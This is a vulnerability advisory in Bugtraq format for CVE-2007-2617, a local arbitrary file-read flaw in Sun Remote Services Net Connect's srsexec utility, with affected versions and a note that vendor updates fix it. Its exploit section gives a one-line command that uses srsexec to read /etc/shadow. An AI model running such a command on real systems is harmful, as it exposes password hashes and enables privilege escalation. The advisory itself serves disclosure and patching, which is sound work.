Sun Microsystems Solaris SRSEXEC Arbitrary File Read Local Information Disclosure Vulnerability

BID:23915

Info

Sun Microsystems Solaris SRSEXEC Arbitrary File Read Local Information Disclosure Vulnerability

Bugtraq ID: 23915
Class: Design Error
CVE: CVE-2007-2617
Remote: No
Local: Yes
Published: May 10 2007 12:00AM
Updated: May 07 2015 05:39PM
Credit: An anonymous researcher is credited with the discovery of this vulnerability.
Vulnerable: Sun Sun Remote Services (SRS) Net Connect Software 3.2.4
Sun Sun Remote Services (SRS) Net Connect Software 3.2.3
Not Vulnerable:

Discussion

Sun Microsystems Solaris SRSEXEC Arbitrary File Read Local Information Disclosure Vulnerability

Sun Microsystems Solaris is prone to a local information-disclosure vulnerability due to a design error.

A local attacker may exploit this issue to access sensitive information, including superuser password information, that may lead to further attacks. A complete compromise is possible.

Exploit / POC

Sun Microsystems Solaris SRSEXEC Arbitrary File Read Local Information Disclosure Vulnerability

An attacker can exploit this issue by gaining local access to a vulnerable computer and running the 'srsexec' utility on a protected file.

The following exploit example is available:
$ /opt/SUNWsrspx/bin/srsexec -dvb /etc/shadow OWNED

Solution / Fix

Sun Microsystems Solaris SRSEXEC Arbitrary File Read Local Information Disclosure Vulnerability

Solution:
The vendor released updates to address this issue. Please see the references for more information.


Sun Sun Remote Services (SRS) Net Connect Software 3.2.3

Sun Sun Remote Services (SRS) Net Connect Software 3.2.4

References

Sun Microsystems Solaris SRSEXEC Arbitrary File Read Local Information Disclosure Vulnerability

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